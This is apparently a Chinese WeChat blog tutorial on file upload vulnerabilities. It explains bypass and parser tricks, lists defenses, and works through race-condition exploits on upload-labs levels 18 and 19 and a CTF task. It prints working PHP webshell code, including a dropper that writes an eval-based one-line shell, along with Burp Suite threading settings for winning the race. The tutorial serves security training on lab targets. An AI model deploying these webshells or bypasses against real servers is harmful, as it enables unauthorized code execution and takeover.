免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
目录
文件上传漏洞原理
文件上传漏洞是指Web应用程序未对用户上传的文件进行充分的安全验证,导致攻击者可上传恶意文件(如WebShell、木马,图片,简历,附件等),进而控制服务器或实施其他攻击。以下是其核心原理及技术细节
1. 客户端校验不足
-
原理:仅依赖前端(如JavaScript)校验文件类型、扩展名或大小。
-
绕过方式:
-
禁用浏览器JavaScript。
-
使用代理工具(如Burp Suite)修改请求包中的文件名、MIME类型或内容。
-
2. 服务端校验缺陷
-
文件类型校验不严
-
仅检查HTTP头中的
Content-Type
(如image/jpeg
),攻击者可伪造该字段。 -
仅校验文件扩展名:攻击者可上传
.php.jpg
或使用大小写(如.PhP
)绕过。
-
-
未校验文件内容
-
图片马攻击:在图片文件中插入恶意代码(如
<?php system($_GET['cmd']); ?>
),结合文件包含漏洞执行。 -
仅检查文件头标识(如
GIF89a
),未验证完整文件内容。
-
-
黑名单机制缺陷
-
未覆盖所有危险扩展名(如
.phtml
,.phar
,.htaccess
)。 -
允许特殊字符绕过:如利用空字节(
test.php%00.jpg
)、空格(test.php .jpg
)或双扩展名(test.php.jpg
)。
-
3. 文件解析漏洞
-
服务器中间件特性:
-
Apache:若存在
.htaccess
文件覆盖权限,攻击者可上传配置使图片解析为PHP(如AddHandler application/x-httpd-php .jpg
)。 -
IIS 6.0:分号解析漏洞(
test.asp;.jpg
视为ASP文件)、目录路径解析(/upload/test.asp/test.jpg
)。 -
Nginx/PHP:路径截断(
test.jpg/xxx.php
)或错误配置fastcgi
导致文件解析异常。
-
-
Web容器特性:
-
某些旧版本Tomcat可能将
test.jsp/
或test.jsp::$DATA
视为合法JSP文件。
-
4. 服务器配置错误
-
上传目录权限不当:Web目录下的上传文件夹允许执行脚本(如未限制
execute
权限)。 -
文件存储路径可预测:如按时间或用户名生成文件名,攻击者可枚举路径访问恶意文件。
-
未重命名文件:保留用户定义的文件名,可能导致覆盖系统文件或直接访问恶意文件。
5. 攻击场景与利用方式
-
WebShell上传:上传包含恶意代码的脚本(如
.php
,.jsp
),通过浏览器访问该文件执行命令。 -
恶意文件分发:上传包含病毒、木马的文件供其他用户下载。
-
挂黑链
-
挂马(广告、刷点击)或者挖矿
-
文件数据泄露
-
配合其他漏洞:
-
文件包含漏洞:利用
include
函数执行图片马中的代码。 -
XXE(XML外部实体注入):通过上传恶意XML文件读取服务器文件。
-
覆盖配置文件:如修改
.htaccess
或web.config
改变服务器行为。 -
挂黑链 挂马(广告、刷点击)或者挖矿 文件数据泄露
-
关键防御措施
-
白名单校验:严格限制扩展名(如仅允许
.jpg
,.png
)及MIME类型。 -
文件内容检测:使用图像处理库(如GD库)二次渲染文件,或检查二进制内容。
-
重命名文件:使用随机哈希值命名,避免用户控制存储路径。
-
隔离上传目录:禁止直接执行上传目录中的脚本,并设置最小权限。
-
安全配置:禁用危险中间件特性(如Apache的
AllowOverride
),及时升级修复解析漏洞。
文件上传漏洞的本质是信任用户输入而未实施多层防御。通过组合校验、安全配置和最小权限原则,可有效降低风险。
本文以条件竞争为例,深入分析文件上传漏洞原理
案例一:upload-labs靶场18关
根据源代码得知后台逻辑为:现将上传的文件进行保存后再审查其合法性,不合法将其删除。
所以我们可以利用文件上传漏洞之条件竞争,在它没有删除之前访问木马文件,这样就可以成功上传一句话木马(如下)。
<?php
fputs(fopen("heihei.php", "w"), '<?php @eval($_POST["aqlw"]); ?>');
?>
fopen("heihei.php", "w")
以写入模式(
w
)打开文件heihei.php
,若文件不存在则创建,存在则清空内容。
fputs()
写入内容
向文件中写入字符串
<?php @eval($_POST["aqlw"]); ?>
,其本质是一个WebShell:
@eval($_POST["aqlw"])
:通过POST参数 aqlw 接收攻击者输入的任意代码并执行(eval
函数),@
符号用于抑制错误输出。访问上传的
shell.php
,代码自动执行并生成heihei.php
。此时,攻击者可通过POST请求操控服务器
1.打开bp抓包,利用间隔将木马文件上传
2.设置进程
首先,需要设置两个,一个为上传包进程,一个为访问包进程,只要在没有被删除前访问到木马文件就可以上传一句话木马。其中访问进程需大于上传进程。
3.上传一句话木马成功
4.然后使用蚁剑连接
案例二:upload-labs靶场19关
//index.php $is_upload = false; $msg = null; if (isset($_POST['submit'])) { require_once("./myupload.php"); $imgFileName =time(); $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName); $status_code = $u->upload(UPLOAD_PATH); switch ($status_code) { case 1: $is_upload = true; $img_path = $u->cls_upload_dir . $u->cls_file_rename_to; break; case 2: $msg = '文件已经被上传,但没有重命名。'; break; case -1: $msg = '这个文件不能上传到服务器的临时文件存储目录。'; break; case -2: $msg = '上传失败,上传目录不可写。'; break; case -3: $msg = '上传失败,无法上传该类型文件。'; break; case -4: $msg = '上传失败,上传的文件过大。'; break; case -5: $msg = '上传失败,服务器已经存在相同名称文件。'; break; case -6: $msg = '文件无法上传,文件不能复制到目标目录。'; break; default: $msg = '未知错误!'; break; } } //myupload.php class MyUpload{ ...... ...... ...... var $cls_arr_ext_accepted = array( ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt", ".html", ".xml", ".tiff", ".jpeg", ".png" ); ...... ...... ...... /** upload() ** ** Method to upload the file. ** This is the only method to call outside the class. ** @para String name of directory we upload to ** @returns void **/ function upload( $dir ){ $ret = $this->isUploadedFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->setDir( $dir ); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkExtension(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } $ret = $this->checkSize(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // if flag to check if the file exists is set to 1 if( $this->cls_file_exists == 1 ){ $ret = $this->checkFileExists(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, we are ready to move the file to destination $ret = $this->move(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } // check if we need to rename the file if( $this->cls_rename_file == 1 ){ $ret = $this->renameFile(); if( $ret != 1 ){ return $this->resultUpload( $ret ); } } // if we are here, everything worked as planned :) return $this->resultUpload( "SUCCESS" ); } ...... ...... ...... };
根据源代码得知:对上传的文件进行白名单后缀过滤、判断文件大小的合法性、对上传的文件改名。也就是说只有绕过了后缀的白名单的过滤,才会保存文件。这里注意,保存文件后会对文件进行改名操作了,比如上传了shell.php.xx,他会对shell.php进行改名。我们要利用的就是apache的解析漏洞结合条件竞争,在上传成功之后和改名之前的时间差内对shell.php.xx发起访问,使得一句话木马文件写入目录中。
1.设置上传包线程数等
2.设置访问包线程数等
3.上传成功
4.然后使用蚁剑连接
案例三:攻防世界靶场的wzsc_文件上传题目
1.打开靶场
2.上传文件实验
我们先进行实验,将我们事先准备好的一句话木马文件shell.php上传查看有何变化
3.找到文件存储路径
多次上传发现都会调用upload.php。所以我们猜测文件是否被传到了upload路径下呢?
我们猜测正确,但是我们上传的一句话木马不在此路径下,应该是被删除了。尝试上传随意的一张图片
我们上传的图片确实被存放在此路径下,但是上传一句话木马文件却被删除了。是否是php文件不能上传。我们打开bp进行验证。
4.打开bp验证
5.得知为条件竞争漏洞
我们可以看到响应头为200说明可以上传php文件,但为什么我们看不到呢,我们猜测是因为上传成功后服务器立即删除了这个php文件所以我们看不见。既然这样我们就使用条件竞争。我们使用bp快速发送php文件同时访问这个木马文件,只要有一次被访问成功,木马文件就会生成一句话木马。这样就上传成功了。但需要注意访问的线程需要大于上传的线程,否则难以成功。
6.设置bp上传包和访问包的线程
设置上传包线程数为30,清空载荷payload,设置攻击载荷为无限重复。
设置访问包访问线程为80,无payloa,无限重复。
开始攻击当访问包状态码为200时上传成功
7.成功上传到upload目录下
8.然后使用蚁剑连接
连接成功
9.找到falg
总结
通过三个案例我们了解到文件上传漏洞之条件竞争漏洞的利用方法,攻击者通过快速重复上传恶意文件并触发访问,在文件被删除前完成代码执行,绕过安全检测。条件竞争只是文件上传漏洞的一部分,剩下的部分如图片马的上传,大小写绕过,双写绕过,后缀名.htaccess绕过,文件扩展名等文件上传漏洞,自行到upload-labs靶场学习。
(需要资料关注免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力)!!!